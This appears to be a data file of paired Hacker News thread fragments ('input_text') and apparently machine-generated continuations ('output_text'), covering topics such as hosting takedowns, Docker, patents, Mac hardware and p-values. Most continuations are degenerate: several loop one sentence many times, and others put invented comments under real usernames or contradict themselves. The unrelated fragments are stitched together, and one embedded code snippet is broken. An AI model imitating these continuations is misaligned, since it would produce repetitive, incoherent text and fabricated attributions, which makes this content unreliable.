"input_text": " based servers with their cases ripped off on the\nwire-frame racks you would find in a home improvement store. After seeing that\nand hearing they lacked any fire suppression system I respectfully walked away\nfrom their bid.\n\n------\nMadWombat\nWell, there is a link to a thread on a webhostingtalk.com, where some people\nare discussing the issue. After reading the original posting by the blog\nservice provider and some of the replies, here are some basic lessons to be\nlearned from this.\n\n1\\. A lot of people have no clue as to the legal process\n\n2\\. It pays REALLY well to have external backups\n\n3\\. It might be a good idea to use encrypted volumes to store sensitive data,\nso if authorities are involved, they have to serve you with papers to get your\ndecryption keys. This way you stay more informed.\n\n4\\. Your hosting provider probably has a clause in their ToS that more or less\nsays \"we can terminate your service whenever, the hell, we want and there is\nnothing you can do about it\". Deal with it.\n\n5\\. This story still sucks.\n\n6\\. Seems like this guy was simply small enough to just serve a court order\nand shut down his service. I don't think anyone would shutdown Google for\nquestionable content on a blogger account or google web pages.\n\n7\\. I am pretty sure, that there is no legal way for a law enforcement agency\nto remain anonymous while doing something like this. Either I am wrong about\nit or something is amiss.\n\n~~~\nadamc\nYour hosting provider probably does have such a clause, but after exercising\nit they should expect to go out of business.\n\n~~~\nMadWombat\nNot if they only do it to"} +{"output_text": " be\nthat bad, but it would be a huge change to the Mac App Store. )\n\n~~~\nmattnewton\nI think you\u2019re underestimating the value of the Mac Pro. It\u2019s a great machine\nand it\u2019s a great value.\n\n~~~\nmattnewton\nI\u2019m not sure if I\u2019m underestimating the value of the Mac Pro or if I\u2019m\nunderestimating the value of the Mac", "input_text": " just keep patching it\nto run on latest macOS. Along with Windows Bootcamp option. That will be Mac\nPro, iMac Pro and MacBook Pro.\n\nThe Non-Pro model will use ARM. You will end up with a 12\" Macbook that is\npriced at $799. With a possible 14\" Macbook at $899 ( The BOM cost of an iPad\nPro 11\" would be the same as 12\" Macbook, you are essentially swapping the\ncost of back camera modules to additional 128GB NAND, the Touch Screen And\nGlass Panel to Track Pad and Keyboard. ) It will be like the Macbook 2015,\nexcept it doesn't cost that ridiculous $1299. And $799 might have been the\ncheapest portable Mac in recent history as far as I could remember. Even the\n11\" MacBook Air was priced at $899.\n\nIt would greatly expand the macOS market shares. Which has very much stagnated\nfor the past few years. Out of 1.4B PC market, Apple has 100M macOS users, 7%\nmarketshare. Compare this to 4.5B Smartphone Apple has 1B iOS users, 22%\nmarketshare. And the most important thing to me would be that Apple also\naccept / admit Tablet computing will never take over the Desktop / Notebook,\nor keyboard / trackpad paradigm. It is good enough for large enough of a\nmarket to worth continuing the investment into Mac other than trying to get\niPad / Tablet to kill it.\n\nThe only problem with this hypothesises is that the software would be very\nmessy. Would Xcode force all Apps by default to compile with Fat binary? Is\nApple going to tell its user the different? ( Not that I think it would"} +{"output_text": " of the line. I tried the Dorco blades and they were a huge improvement.\n\n------\njoshstrange\nI've been using DSC for a few years now and I've been very happy with the\nservice. I've tried a few other brands and they all seem to have a few issues\n(I've had a few blades break on me, the blades are cheap and the packaging is\nnot great). I've been using the DSC blades for a few years", "input_text": " the rest, shaving oil will do the trick.\n\n~~~\nauctiontheory\nI went through a phase of thinking as you are. And then I realized that in the\nbig scheme of my life, I was spending way too much time focusing on a very\ninsignificant piece of my day. I could get much better return applying the\nsame time and energy to choices that have bigger impact. And... did I really\nwant to shave with blades that could slice me up?\n\n~~~\ndrunken_thor\nI don't think you gave it enough practice, I have been using a double edge for\nyears and shave faster than I did with cartridge because I only need one pass.\n\nFeather blades and olive oil are the only thing I use. Also double edges were\noriginally called safety razors for a reason.\n\n------\nevo_9\nI wish these guys offered a Safety Razor and/or blades but it's probably not\npossible to make money off those. Which is too bad, I like the company, like\nthe service but at the end of the day you simply can't beat safety razors;\nthey are cheaper and they actually work better. That's the only reason I\nstopped using this service.\n\n~~~\nwonderyak\nFWIW - You can get safety razors from DSC's supplier -\n[http://www.dorcousa.com/](http://www.dorcousa.com/)\n\nI was looking at DSC for a long time and ended up trying Harry's. Was very\ndisappointed with Harry's blades. Next time I order anything it will be from\nDorco.\n\n~~~\n_JamesA_\nI went down this road too. A long time Gillette Mach/Fusion/whatever is the\ntop"} +{"output_text": "esty is.\n\n~~~\narbitrage\nI'm not sure what you mean by false modesty. I'm not saying I'm not\nmodest... I'm saying that I don't think it's a virtue.\n\n~~~\ngnaritas\nYou're saying you don't think it's a virtue, but you're not saying you don't\nthink it's a virtue.\n\n~~~\narbitrage\nI'm saying that I don't think it's a virtue", "input_text": " side that is non-\nfunctional, and the \"cyborg effect\" basically goes away. The human brain hates\nasymmetric faces. Such a stupid oversight, may have been enough to save the\nconsumer effort if they did this from the get-go.\n\n~~~\nxxs\nLeave that 'piece o'plastic' stuff, the extra room can be utilized as extra\nbattery.\n\n~~~\nnotatoad\nthat'll increase the weight though.\n\n~~~\nfunction_seven\nI think it\u2019s better to have balanced weight, even if it means more. While it\nmight be annoying to have more weight on the bridge of your nose and over your\nears, it\u2019s even more annoying to have an off-center moment of force.\n\nIt\u2019s like carrying one 12-pack of beer rather than two.\n\n------\nkharms\n>>Glass is also helping healthcare professionals. Doctors at Dignity Health\nhave been using Glass with an application our partner Augmedix calls \u201ca remote\nscribe\u201d.\n\nMy primary care doctor has a human scribe. The scribe is a recent graduate\n(BS), planning on going to med school next year. Being physically in the room,\nwatching the doctor work is a great benefit to her. I'm not sure she'd benefit\nas much from watching a live stream.\n\nAdditionally, as a patient I wouldn't be comfortable being recorded.\n\n~~~\narbitrage\nI would be totally cool with being recorded. I think its beyond time we get\npast the ridiculous false modesty that seems to be considered a virtue, but\nwith no real benefit.\n\n~~~\ngnaritas\nThe desire for privacy is not \"false modesty\"; given the sentence you just\nuttered, I'm not convinced you even know what false mod"} +{"output_text": " I'll\ndefinitely answer.\n\n~~~\nedpichler\nI'm not asking for a personal opinion, I'm asking for a fact.\n\n~~~\nsdrothrock\nI'm not sure what you're asking for.\n\n------\njoshstrange\nI'm not sure I agree with the author's premise that the Japanese are\n\"racist\" but I do agree with the premise that they are \"capitalist\".\n\nI've lived in", "input_text": " make good pay.\n\n~~~\nuser5994461\n$1.8M per employee for Apple\n\n[http://uk.businessinsider.com/top-tech-companies-revenue-\nper...](http://uk.businessinsider.com/top-tech-companies-revenue-per-\nemployee-2015-10)\n\n~~~\nlultimouomo\nThat's revenue. While Apple is hugely profitable, I'm pretty sure it has great\nmanufacturing costs and per-employee profits are a fraction of that (the first\ngoogle result says $0.4M).\n\n~~~\nfoota\nProfit includes employee cost though. It seems those should be excluded.\n\n~~~\nluckydata\nDepends if you're calculating gross or net.\n\n------\nprinceb\n> ruthlessly capitalist racists\n\nactually, these people are not racists. the racists are the ones not hiring\noutside their race, even if it's cheaper. the ruthlessly capitalist is an\nequal opportunity discriminator.\n\n~~~\ndanieltillett\nI have always thought that capitalism is the grim reaper of other ism's like\nracism, sexism, ageism, etc. If a society underprices a group of people for\nirrational reasons then a capitist will recognise this and solve the problem.\n\n------\nedpichler\nThis description of how business is done on Japan makes me sad. It can't be\nall true, I really hope I didn't get the jokes and the author is exaggeration\nfacts more than he described.\n\n~~~\nsdrothrock\nI've been living and working in Japan for almost a decade; if there are parts\nyou're wondering if are exaggeration, feel free to comment here and"} +{"output_text": " (jQuery, Prototype, MooTools,\netc.) and it's very well thought out.\n\nI'm not sure if it's a good idea to have a \"core\" library and a \"plugin\"\nlibrary. I think it's better to have a single library that can be used as a\nplugin.\n\nI'm not sure if it's a good idea to have a \"core\" library and a \"plugin\"\nlibrary. I think it's better to", "input_text": " this because this is the feature you've\nhighlighted with your benchmark.\n\nHere an explanation of my words :\n\nscope.ready(function(my, $) {\n\n$(\"h2\").addClass(\"mytest\");\n\n$(\"div\").appendHtml(\"

Test

\");\n\n$(\"h2\").addClass(\"mytest2\");\n\n});\n\n>>> My new h2 doesn't have any class.\n\nI'm looking forward to see how this will evolve! Keep going!\n\n~~~\njie\nIn my.js, elts wrappers are both cached by id and in their native\nHTMLElements. The performance increases are sometimes from 1 to 100. Caching\nFTW. In fact, caching has only 1 minor fallback: you can't change an elt id if\nyou have already accessed it by his former id (but who does? it's such bad\npractice). For the above snippet, it's normal that your new h2 doesn't have\nany class since the $ fn only returns the first h2 (like querySelector)\ncontrary to jQuery $ who returns a set. The 3rd line of your code only add\nclass to your first h2. To get a set of selected elts in my.js, use \"$.elts\"\nand it will work! If you're interested, I may give a presentation on my.js at\nthe next WebWorkerCamp in Paris!\n\n------\ntbassetto\nFirst, I would recommend you to update the website design :) It lacks color\n(and backgrounds!) in Firefox and it needs an horizontal scrollbar on my 24\"\nscreen :|\n\nConcerning the framework, I must admit that I'm quite impressed. It's clearly\ndifferent from current mainstream framework"} +{"output_text": ", and we don't\n> want to do that.\n\n~~~\nmattmanser\nI'm not sure what you're trying to say.\n\nThe article you linked to is from 2017.\n\nThe article you linked to is from 2017.\n\nThe article you linked to is from 2017.\n\nThe article you linked to is from 2017.\n\nThe article you linked to is from 2017.\n\nThe article you linked to is from 2017.\n\n", "input_text": " most desktop and mobile platforms, which makes it unattractive\n> to implement for us (as it means considerably more effort to write, debug\n> and maintain).\n\nAnd then they're talking about the Vulkan PI in TFA which probably won't be\nready for some time too...\n\n~~~\ncsdreamer7\n> However, the arguments against bgfx seem to amount to \"I want to do it\n> myself\", a classic \"not invented here\" issue.\n\nI disagree. It has been 9 months since that post. bgfx still does not list\nsupport for Vulkan. They already implemented DX12 and Metal. They still claim\nsupport for Windows XP and Vista. Godot says it will get Vulkan support in 3.2\nwhich comes out in a few months. Otherwise they would have to wait and work on\nbgfx to get it working. DX9, XP, Vista, feels like a lot of baggage for what\nGodot is right now. A very quick and easy to use game editor that easily\ndeploys on both Win and Linux.\n\nAlso, your edit links to a pretty outdated article (2017).\n\nSee Godot's about face on Vulkan here:\n\n[https://godotengine.org/article/abandoning-gles3-vulkan-\nand-...](https://godotengine.org/article/abandoning-gles3-vulkan-and-gles2)\n\n> Vulkan was always a tempting alternative to solve them and to ensure we are\n> much safer from driver bugs (after all, this is what the API was intended\n> for). Still, the lack of support on macOS made it unappealing. Having to\n> write a Metal backend to support this OS is a lot of effort"} +{"output_text": " job.\n\nI'm not sure why he thinks that. I'm sure that the press will be interested in\nthe story, but I don't think that's going to be the cause of his job being\nlost.\n\n~~~\njessaustin\nI think the author is worried that the press will be interested in the story\nbecause it will be a story about a company that is not doing its job.\n\n~~~\nvore\nI think that's a fair", "input_text": " circumstances\n(the difficulty of the job being the biggest). There are four employees to\ncover 21 8-hour shifts each week (24 hours a day, 7 days a week total).\n\nIf someone calls in sick, the one of the others has to cover the shift. Under\nno circumstances can the house ever be unstaffed. Aside from a bit of overtime\npay, the company isn't hurt, but everyone else is.\n\nNot all jobs are like this. The consequences of taking a sick day as a\nvacation day (or simply being sick) usually aren't that severe. Maybe it's a\nmanufacturing line and the manager has to step in to fill your role or\nsomething. Maybe it has no effect at all on anyone around you. In those cases,\nmaybe it doesn't make sense for the company to distinguish between time off\nfor being sick, and time off for vacation.\n\n> The whole point of PTO is that the company is agreeing to give you 10 days\n> worth of slack.\n\nNo, that's only true if the company doesn't distinguish between sick time off\nand vacation time off. Typically, where I've worked, all PTO was lumped into a\nsingle bucket, and no-one really cared. However, that is really more true of\nwhite collar work with long timelines and not so much in most other jobs (or\nthe parent post I was replying to).\n\n~~~\npnutjam\nUnderstaffed is a management issue, not an employee problem.\n\n~~~\ntripzilch\nI suppose the disabled adults living there have the biggest problem...\n\n~~~\npnutjam\nAre they hostages?\n\n------\nvore\nThe author seems to very much worry that negative press is going to be the\ncause of him losing his"} +{"output_text": " of the program and\nthen leave.\n\n~~~\nprabodh\nI am not sure if you are being sarcastic or not. I am not sure if you are\naware of the fact that the Indian version of YC is a non-profit organization\nand not a for-profit company.\n\n~~~\nplinkplonk\n\"I am not sure if you are being sarcastic or not. I am not sure if you are\naware of the fact", "input_text": "\nalready established market?\n\nIs the ISP environment so hostile as to squeeze even the biggest players out\nof town? Is Google slowly ramping down even existing Fiber operations? What's\ngoing on behind the scenes here? If the microtrenching issue is driving this,\nwhy can't Google of all companies put up the investment to re-do it right?\n\nThere's failing an experiment, and then there's realizing something is sub-par\nand putting in the work and money to make it right for your customers. I feel\nlike Google has misconstrued the two here.\n\n \n\nIndian version of Y Combinator... - prabodh\nhttp://iaccelerator.org/\n\n======\nplinkplonk\n\"Indian version of Y Combinator\"\n\nYeah Right!\n\nFrom the FAQ\n\n\"When the company is formed we set up a bank account. When the bank account is\nset up we deposit a check for the full amount of our commitment ie. 5 Lakh\ndirectly into it. A company secretary is brought in to distribute funds from\nthe company checking account as per the budget instructions. Adjustments to\nthe budget can be made at board meetings. Founders _do not_ have direct check\nwriting control of the bank account.\"\n\nYou need to buy an extra laptop, wait for the next board meeting and/or get\napproval from the \"Company Secretary\".\n\n\"Founders _do not_ have direct check writing control of the bank account!\"\n\nSounds like a great way to run a startup!\n\nAnd they have the audacity to call it \"The Indian version of YC\".\n\nI doubt PG and co sit around approving line items and writing checks every\nother day! AFAIK they hand over the money at the beginning"} +{"output_text": " server side.\n\nSecond, the patent is for a method of voice recognition, not a specific\nimplementation.\n\nThird, the patent is for a method of voice recognition, not a specific\nimplementation.\n\nFourth, the patent is for a method of voice recognition, not a specific\nimplementation.\n\nFifth, the patent is for a method of voice recognition, not a specific\nimplementation.\n\nSixth, the patent is for a method of voice recognition, not", "input_text": " moved on with our lives and that was that.\nNo follow-up, of course.\n\nAh, the delights of Pure Intellectual Research in the ivory towers of academe,\nright?\n\n~~~\nunishark\nGenerally they want to license the IP to you, which might be a good idea as it\nadds prestige, plus they will defend it in court. Note that even if your\ntechnology did not infringe on their patents, your marketing claims might have\nappeared to.\n\nMany schools try to make money by licensing patents, even giant public schools\n(oddly). Faculty and research staff are pressed to make invention disclosures\nof ongoing research that hasn't been published yet, and the school decides if\nit can make money patenting it. If they do, the inventor gets a cut.\n\nIn terms of ownership, all govt funding of the research means is the govt\nitself gets a free license to use it, not the public.\n\n~~~\nglangdale\nNone of the patents seemed to have anything to do with anything we did whether\nactual IP or marketing claims. I think the generalized scheme was \"spam out\nthis huge brochure to enough people and hope we get something back\".\n\nI understand the whole 'ownership of govt funded stuff' well enough; I don't\nthink I am entitled to ride around in a tank. And yet it doesn't seem entirely\nlike the public good that was trying to be achieved, especially this kind of\nspammy approach, where they clearly had no idea of which patent we might be\n\"infringing\" or interested in licensing.\n\n------\nstreetcat1\nThe patent is likely invalid.\n\nFirst of all, based on my understanding of Mycroft architecture, voice\nrecognition is done on the"} +{"output_text": " Android.\n\n~~~\nuser5994461\nYou can't wake an app from sleep without a background service.\n\nYou can't wake an app from sleep without a background service.\n\nYou can't wake an app from sleep without a background service.\n\nYou can't wake an app from sleep without a background service.\n\nYou can't wake an app from sleep without a background service.\n\nYou can't wake an app from sleep without a background service.\n", "input_text": " putting my game Neptune's Pride in the Epic Games store and\nusing PayPal to collect payments.\n\n~~~\nDetroitThrow\nI had been trying to remember the name of this game for over a year now, my\nfew Google searches for \"long term space strategy mmo\" never yielded anything.\nI love that hackernews seems to dredge up the interesting parts of the net.\n\nAnyways, Neptune's Pride is very very fun and I can't wait to play it again!\n\n~~~\njay_kyburz\nHello DetroitThrow! Glad to hear my not very subtle plug for the game might\nget at least one player back!\n\n------\nAndrew_nenakhov\nI won't stop telling this: mobile platforms need not only third party app\nstores, but third party push notifications services too. Both iOS and Android\nlove to kill apps in the background. This behavior, sans push notifications,\ncripples a lot of types of applications (chiefly, all messengers).\n\nIf there ever would be some legal pressure on Apple& Google to open up their\nplatforms, it is important to make this point known to legislators.\n\n~~~\nuser5994461\nApplications have to be paused to save battery, or killed to save memory. You\ncan lookup the Android doc since the first version 10+ years ago, it explains\nvery well the lifecycle of apps. Mobile devices would be unusable if it were\nnot for that.\n\n~~~\nAndrew_nenakhov\nThis obvious thing you say doesn't change the fact that there is no a way to\nwake an app from sleep without FCM push notifications or running a background\nservice with persistent notification (which users hate), which has a lot of\nrestrictions that get tighter with every new version of"} +{"output_text": " 10MB.\"\n\n~~~\ndatalus\nI'm not sure what you're seeing. I'm using the same photo.\n\n~~~\nggchappell\nI'm using Chrome on Windows 7.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\ndatalus\nIt's a fun way to see how your brain works.\n\n------\njoshu\nI'm not sure what the point of this", "input_text": " her age by a decade.\n\n------\nsuchow\nIf you're interested in the human side of age perception, we're running a\nstudy at [http://testmybrain.org](http://testmybrain.org) (\"Understanding\nother people\") where you judge people's age based on a photograph. We're\nlooking at individual differences in face perception \u2014 how your age, race, and\nexperience affect your judgment of others.\n\n------\ndatalus\nThe quality of the prediction also matters on the quality of the photo. I\ntried the photos that I do have of myself online, which each have a distinct\nlighting profile. One is a soft, orange glow in a restaurant... the guess was\noff by +11 years. The next photo has a portion of the left side of my face\nobscured by shadow. This was off by something like +31 years.\n\n------\nMarcus316\nTried this picture: [https://scontent.xx.fbcdn.net/hphotos-\nxpf1/v/t1.0-9/11040377...](https://scontent.xx.fbcdn.net/hphotos-\nxpf1/v/t1.0-9/11040377_10100621243021700_1069248627051998394_n.jpg?oh=e0fd957e41abfe1d3fcd4d950811a678&oe=55C8BA49)\n\nTold me age 25. I'm flattered. ;)\n\n------\nggchappell\nI don't get it. When I click on \"Use This Photo\", it always says, \"Couldn\u2019t\ndetect any faces. Please verify that the image is valid and less than"} +{"output_text": " is a good\nplace to buy gold.\n\n~~~\nBenoitEssiambre\nI think the volatility of gold is a function of the fact that it is a\ncommodity. It is not a currency.\n\n------\njoshuaheard\nI think the author is missing the point. The value of Bitcoin is not in its\nprice. It is in its utility.\n\nThe value of Bitcoin is that it is a decentralized, anonymous, and\n", "input_text": " inflates less\nquickly?\n\n~~~\nBenoitEssiambre\nI think market forces will make it so that the one that inflates less quickly\nwill be more volatile and the higher risk premium of holding it will make it\noften less attractive than the one that inflates more quickly but often it\nalso will be the opposite.\n\nLike most investments there will be a trade-off of risks vs returns but both\ncurrencies will in the long run, be poor investments compared to income\ngenerating assets tied to real production.\n\n~~~\nramontayag\nThis is certainly interesting. Could the same principle be applied to gold\nwhich has been fairly stable?\n\nI don't think gold is the right medium for the singularity because it is not\neasy to obtain and subdivide. It needs to be in the the vicinity of choosing\nthe inflated coin on one hand, and the more valuable coin on the right.\n\nPerhaps it's this trait that will keep Bitcoin volatile? Because it's easy to\ngo in and out of it, volatility will remain high?\n\n~~~\nBenoitEssiambre\nYes it's similar to gold. Gold has some intrinsic value which anchors its\nprice and reduces volatility and as you mentioned it is not as easy to trade\nwhich reduces speculation. But even gold is still a fairly volatile\ninvestment.\n\n~~~\nramontayag\nYes, it may feel volatile, but how volatile is it compared to other\ncurrencies? For example, my country's currency fell 10% in the last three\nmonths.\n\nIntrinsic value discussion aside (which is its own discussion worth having), I\nwould certainly like to keep more of my money in gold vs my local currency if\ngold were easy to get and keep. Peter Schiff says goldmoney.com"} +{"output_text": "iu-\n> We can't change the distribution because all the services running on this\n> servers are tight to the quirks and special cases of this distribution.\n\nI don't understand. What is the problem with running a different distribution\non the same server?\n\n~~~\nfu86\nWe have a lot of services running on the same server. Some of them are\ncritical for the business. So we can't change the distribution because we\ndon't want to break the", "input_text": " the\ntimestamps on the files. You and I have little hope of building the same image\nand getting the same exact result.\n\nBuild reproducibility is a very interesting topic with some unsolved issues,\nbut Docker isn't helping with it. See\n[https://reproducible.debian.net](https://reproducible.debian.net) for a good\nresource about build reproducibility.\n\n~~~\nvezzy-fnord\nDon't know why you were downvoted. Docker doesn't give you reproducible builds\nbecause you're still running in a raw host OS environment with all its state,\nbut simply the subsystems partitioned into their own namespaces. Docker is\nmore akin to a snapshot than reproducible.\n\n------\nrlpb\nDocker, or containers in general? I'd really like to hear about Docker\nspecifically, but most of the answers so far seem to relate to containers in\ngeneral, rather than Docker specifically.\n\nWhat are the business cases for using Docker over some other container-based\nsolution?\n\n------\nfu86\nWe have a shitload of servers running CentOS for historical reasons. We can't\nchange the distribution because all the services running on this servers are\ntight to the quirks and special cases of this distribution. So we need to live\nwith CentOS.\n\nSome of our newer services need a up to date version of glibc and a lot of\nother dependencies CentOS can't provide. So we use docker to boot up Ubuntu\n14.04 containers and run the services with special needs in them.\n\nAnother great thing is isolating scripts we don't trust. We allow our\ncustomers to run scripts of all kind on our servers --> inside Docker\ncontainers. So the customers can't mess with the hostsystem.\n\n~~~\nliv"} +{"output_text": " if the case is lost, then the defendant has to pay the winner's costs.\n\niv) if the case is won, then the defendant has to pay the winner's costs.\n\nv) if the case is settled, then the defendant has to pay the winner's costs.\n\nvi) if the case is dismissed, then the defendant has to pay the winner's\ncosts.\n\nvii) if the case is abandoned, then the defendant has to pay the winner", "input_text": "\ncoryrc\nShouldn't matter if it punches through so long as it maintains contact, as it\nshould have significantly lower resistance than your body?\n\n \nPatent Troll Lodsys Settles for Nothing to Avoid Trial - alxndr\nhttps://www.eff.org/deeplinks/2013/10/patent-troll-lodsys-settles-nothing-avoid-trial\n======\nlinuxhansl\nIsn't it nice to be patent troll in the US.\n\nYou can threaten 1000's of entities with legal action to extort money, since\njust defending against the allegation is very expensive. Then when a few of\nthose threats don't stick, all you have to do is \"settle for nothing\" to avoid\nan actual trial. Nice.\n\nThe patent trolls are just a symptom, the legal system is the problem.\n\nYou leave a legal loophole and you'll find some parasitic scum that will\nexploit it. Personally I find it hard to believe that the people running these\ncompanies can sleep at night... But that is a different story.\n\n~~~\nGarbage\nIt's one of those rare times, when I feel great that I am living in India. ;)\n\n~~~\npm90\nInstead of Patent Trolls, you have an apathetic business environment,\ncrumbling infrastructure and no copyright protection at all. You just traded\none set of problems for another one\n\n------\nDanBC\nEngland has some useful things that the US should consider.\n\ni) loser pays costs.\n\nii) if Ann is offered \u00a3X out of court, but declines it, and the case goes to\ncourt and she's awarded \u00a3Y then she has to pay costs if \u00a3Y is less than \u00a3X.\n\niii)"} +{"output_text": "com/game/rct2](https://www.gog.com/game/rct2)\n\n~~~\nAvshalom\nI'm not sure if I'm going to be able to find it. I'm pretty sure I have the\nCD case, but I don't know if I have the game.\n\n------\nmatt_the_bass\nI\u2019m not sure if this is a good idea. I\u2019m not sure if I", "input_text": "AM a few years back. I don't know how they\nwrote the netcode, but the game ended up terribly out of sync pretty fast.\n\nIt's a shame the remake has decided to go 3d and lose the original art style.\nThe original really has timeless graphics.\n\n------\nkartD\nNice, does this get rid of the shitty AI for the janitor? I can't tell you how\nannoying it is to watch them do everything except clean the damn puke and\ntrash of the path.\n\n~~~\njandrese\nYou can turn off mowing the lawn which will keep them on barf duty unless you\nhave a giant flower garden in their work zone. It's pretty much necessary if\nyou have a coaster with a moderate or higher puke value in the park.\n\nAlso don't forget that you can put bathrooms near the exit of an upchuck\ninducing ride to keep the paths a little cleaner.\n\n------\nsitepodmatt\nchris sawyer a hero on carmack's level. (sawyer is behind transport tycoon and\nrollercoaster tycoon)\n\n------\ncr0sh\nWhat I'd like to see is an open-source version of Disney's Coaster\ngame/simulation.\n\nOr for that matter, any kind of roller coaster simulator. There's an excellent\nWindows roller coaster simulator out there (\"No Limits\"), but nothing like it\nexists on other platforms.\n\n------\nAvshalom\nWell time to go dig out my CD case.\n\n~~~\ntylerjd\nIf you can't find it or it is too scratched, they also sell the full edition\nof RCT2 on GoG for cheap\n[https://www.gog."} +{"output_text": "\nthere's a better way to do this.\n\n~~~\nsneilan1\nI agree that the sound is a bit jarring. I'm not sure if it's a good idea to\nhave the sound play when the theme is changed.\n\nI'm not sure if there's a better way to do this.\n\n------\nsneilan1\nI'm not sure if this is a good idea. I'm not sure if it's a good idea", "input_text": " At that point, there's no\nproblem with Gatsby or Next.\n\n~~~\nbarrowclift\nNot necessarily true, I'd argue the \"perfect\" dark mode uses the system's\ntheme by default like you said, but still allows visitors to manually set\nlight or dark should they wish to view the site a particular way (perhaps they\nprefer the light mode, etc.)\n\n~~~\nasiachick\nAgreed. S.O. recently added dark mode and for some reason my eyes couldn't\nfocus on it. No idea why. I run my editors and my terminal in dark themes.\nMaybe they didn't have enough contrast. Maybe the fonts are too small or too\nthin. I have my browser set to \"prefer dark mode\" but I'm really happy S.O.\nlet me opt out.\n\n------\nwelcometomiami\nDid anyone else happen to read this and think of\n[https://en.wikipedia.org/wiki/Perfect_Dark](https://en.wikipedia.org/wiki/Perfect_Dark)?\n\n~~~\nsneilan1\nYes, I played that game thoroughly and I could not separate the project from\nthe game.\n\n------\nmemco\nThe theme toggle button plays a sound when you click it. So not only does this\nrequire state for the theme, but also the sound. Also curious is that clicking\nthe button to mute sound plays a sound.\n\nI believe every OS defaults to silent actions for every button. Games, on the\nother hand, often have sounds for hover/focus and click. I'm not sure what's\nthe better option, but if we're going to default to the OS for theme choice\nshouldn't we also default to the OS for UI sound choice? I don't know if"} +{"output_text": " that the DMCA is not a law, it's a regulation. It's\nnot a law that says you can't use someone else's content, it's a regulation\nthat says you can't use someone else's content without their permission.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nIf you're a photographer, you can't sue people who use your photos without\nyour permission.\n\nIf you're a photographer, you", "input_text": " know, via their 'Pin\nIt' code, exactly where the content is actually coming from.\n\n\u00a7 512(c) [DMCA Safe Harbor] also requires that the OSP: 1) not receive a\nfinancial benefit directly attributable to the infringing activity, 2) not be\naware of the presence of infringing material or know any facts or\ncircumstances that would make infringing material apparent,\n\nI wonder if 'the original source URL' of a image may be construed as a fact\nthat would make infringing material apparent. IANAL.\n\n~~~\nicebraining\n_In this case, Pinterest even acknowledges that the images are not the\nproperty of the user, \"When you pin from a website, we automatically grab the\nsource link so we can credit the original creator.\"_\n\nAnd that's fine - their ToS says you need to be either the copyright holder\n_or_ have consent from the copyright holder. For example, if I \"pin\" a CC\nlicensed image, I have such consent.\n\n~~~\nwaitwhat\n_their ToS says you need to be either the copyright holder or have consent\nfrom the copyright holder._\n\nI've seen warez sites with exactly the same disclaimer. It didn't work for\nthem either.\n\n~~~\nicebraining\nBut Youtube, Flickr, DeviantArt and thousands of other user submitted content\nsites are still online.\n\n~~~\nantiterra\nAs far as I know there is no industry group for still-image photographers\nanything like the MPAA or RIAA. All three of those sites are and were filled\nwith substantial original content, so they can claim that illegal use is not\ntheir primary drive. I don't know if Pinterest can successfully argue the same\nthing.\n\nIt also should be noted"} +{"output_text": " you willing to spend to save a life?\n\n~~~\nbasicplus2\nI'm not sure what you mean by that.\n\n~~~\nInclinedPlane\nI mean that if you are willing to spend $1 million to save a life, then you\nare willing to spend $1 million to save a million lives.\n\n~~~\nbasicplus2\nI'm not sure what you mean by that.\n\n~~~\nInclinedPlane\nI mean", "input_text": " bad happened. We\nneed to find out what it is and how to fix it as a society. The underlying\ntech and concepts will never go away again. It can be used for good. We\nrealized too late that we failed to use it properly.\n\n~~~\nNotAnEconomist\nMy point is the double-standard in the tech community making that argument on\nbehalf of one kind of technology, while ignoring that weapons extend from the\nvery basic human need for security and agency.\n\nIt's a standard human fallacy, which I've made numerous times: we look at the\nintentions of ourselves (the tech community) while looking at the results of\nothers (eg, the military). But the question we really need to be asking is if\nour impact on the world leads to better outcomes than theirs, regardless of\nwhat either group intended -- and I'm not sure it's so clear cut, once you\naccount for second order effects of social media.\n\nAnd it's certainly not as simple a moral calculus as \"Well, they work on\nweapons so they're worse people than me!\"\n\n------\nbasicplus2\nSeems odd to me to waste so much time and money and risk to lives when one can\nsimply drive a mine flail through any given area to clear it of mines.\n\n[https://en.m.wikipedia.org/wiki/Mine_flail](https://en.m.wikipedia.org/wiki/Mine_flail)\n\n~~~\nInclinedPlane\nHow expensive do you think it is to operate a mine flail? Especially factoring\nin transport to remote areas?\n\n~~~\nbasicplus2\nwhat price do you put on a life?\n\n~~~\nInclinedPlane\nHow much money are"} +{"output_text": " up in\nmachine learning.\n\nIf you have a bunch of features, and you want to know which ones are most\nimportant, you can use a feature importance measure.\n\nIf you have a bunch of features, and you want to know which ones are most\nimportant, you can use a feature importance measure.\n\nIf you have a bunch of features, and you want to know which ones are most\nimportant, you can use a feature importance measure.\n\nIf you", "input_text": "ide-\nfertilization-greening-earth)\n\nThe greening is also observed in areas unaffected by man's agricultural\nactivities.\n\n \n\nP-Values are not Error Probabilities (2003) [pdf] - gwern\nhttp://www.uv.es/sestio/TechRep/tr14-03.pdf\n\n======\ncl42\nThanks for sharing this. In general, it's a real shame how few people know how\nto interpret and use P values correctly. We work with a lot of businesses who\nask us to compare populations (e.g., through A/B tests) and people either (a)\ndon't care about the significance between population differences, or (b) are\nirrationally attached to P values.\n\nCase in point #1: debating whether a P value of 0.051 versus 0.049 is a major\ndifference in the significance test.\n\nCase in point #2: a P value of <0.001 but with extremely low differences in\nmeans between populations. With enough data, everything is significant!\n\nEnd rant. :)\n\n~~~\nreturn0\nAmen for #2! It's like the entire field of biology is an endless quest for low\np-values, regardless if the hypothesis is even interesting. It's like people\nare not interested to think, they just want to publish something significantly\ndiffernt.\n\n~~~\ncl42\nhaha, Sociology as well -- especially now that the web provides huge amounts\nof behavioral data.\n\nI much prefer how machine learning folks tend to approach predictive accuracy,\nthough I guess that's not quite the same as understanding relationships\nbetween specific variables while controlling for others.\n\n~~~\nsdenton4\nThere is a notion of 'feature importance,' which especially comes"} +{"output_text": "?\n\n~~~\njoshu\nI'm interested.\n\n~~~\nhnf0r3v3r\nI'm working on it right now. I'm not sure how much I can share right now, but\nI'll be sure to let you know when I have something.\n\n------\njoshu\nI'm working on something similar. I'm not sure how much I can share right now,\nbut I'll be sure to let you know when I", "input_text": " infrastructure of the future is not RPC calls but\ndata-sync. (I guess MS Exchange is one of the first large examples of this).\n\n~~~\nDenisM\nRPC is an anti-pattern.\n\nI've been beating this drum for years, but it feels awfully lonely...\n\n\n\n\n\n~~~\ndyoder\nFWIW, we use HTTP as intended, not to tunnel RPCs.\n\n------\namirmc\n_\"And then, the realization: 'let\u2019s build the picks and shovels, instead of\npanning for gold.'\"_\n\nSomething about this line really irked 